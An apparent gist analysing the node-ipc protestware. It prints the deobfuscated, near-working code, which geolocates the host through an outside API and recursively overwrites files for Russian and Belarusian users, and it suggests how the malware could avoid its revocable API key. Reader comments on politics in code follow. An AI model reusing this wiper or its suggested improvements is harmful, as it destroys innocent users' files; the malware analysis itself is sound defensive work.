Explanation of the malware in node-ipc

node_ipc_malware.md

WARNING

DO NOT RUN THIS , it will attempt to recursively overwrite files.

What follows is very simple deobufscation & explanation of what the code is doing. I have changed the library imports to make it more clear

The original code: https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

import path from "path";
import fs from "fs";
import https from "https";

setTimeout(function () {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return
    }

    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 - their API key, seems already revoked
    
    https.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            // Following the comment backslash is the UTF representation of the buffer
            // (basically base64 used to obfuscate....)
            // Note: For the dir paths I added backticks for clarity.
            const n = Buffer.from("Li8=", "base64"); // `./`
            const o = Buffer.from("Li4v", "base64"); // `../`
            const r = Buffer.from("Li4vLi4v", "base64"); // `../../`
            const f = Buffer.from("Lw==", "base64"); // `/`
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); // country_name
            const e = Buffer.from("cnVzc2lh", "base64"); // russia
            const i = Buffer.from("YmVsYXJ1cw==", "base64"); // belarus
            try {
                const s = JSON.parse(t.toString("utf8")); // JSON parse response from API
                const u = s[c.toString("utf8")].toLowerCase(); // Lowercase the `country_name` key from API response
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // Check if it includes the substring "russia" or "belarus"

                if (a) {
                    // If it does, call the h() function on: `./` `../` `../../` and `/`
                    // Which will start overwriting stuff
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"))
                }
            } catch (t) {}
        })
    })
}, Math.ceil(Math.random() * 1e3));


async function h(n = "", o = "") {
    // Doesnt exist - return
    if (!fs.existsSync(n)) {
        return
    }

    // try and read the dir contents into r[]
    let r = [];

    try {
        r = fs.readdirSync(n)
    } catch (t) {}

    const f = [];

    const c = Buffer.from("4p2k77iP", "base64"); // unicode - '%u2764%uFE0F' , unicode for "Read Heart Emoji" Ref: https://emojipedia.org/emoji/%E2%9D%A4/
    
    // Loop over dir contents
    for (var e = 0; e < r.length; e++) {

        // Get path to file  including the relative dir prefix (i.e. `./` `../` `../../` or `/`)
        const i = path.join(n, r[e]);
        let t = null;

        // Try and get file metadata
        try {
            t = fs.lstatSync(i)
        } catch (t) {
            continue
        }

        if (t.isDirectory()) {
            // Recursively call this function if its a directory
            const s = h(i, o);

            // and then pass the final filenames back up into f to be overwritten
            s.length > 0 ? f.push(...s) : null
        } else if (i.indexOf(o) >= 0) {

            // Otherwise overwrite it with the "Read Heart" emoji
            try {
                a.writeFile(i, c.toString("utf8"), function () {})
            } catch (t) {}
        }
    }
    return f
};

Thoughts

The malware can be improved - the author used an IP-geo service which needed an API key, which made it a central point of failure since the 3rd party can easily revoke it.

A better design would have been to use a free service , which imposes rate limits, since the malware would be called by people from many different places, it is unlikely the rate limit would have been hit.

Programming is outside of politics

There's a good quote by Martin Niemöller: "First they came for the socialists, and I did not speak out — because I was not a socialist. Then they came for the trade unionists, and I did not speak out — because I was not a trade unionist. Then they came for the Jews, and I did not speak out — because I was not a Jew. Then they came for me — and there was no one left to speak for me."

Since politics impacts literally everything, anything cannot be outside of politics.

What an absurd logic? That's like saying "humans affect everything thus everything is human". Also that quote has nothing to do with the situation.

I currently live in Russia and I do strongly oppose the war; it's unjustifiable and cruel, and violence is never an answer. Also, I'm no politician, almost none of us are. There is no reason to bring harm to innocent developers just because they live in a certain country. If you want to deliver your message to people, a simple install hook that displays anti-war text would be sufficient. Let's abstain from implementing politics into code 🇺🇦❤️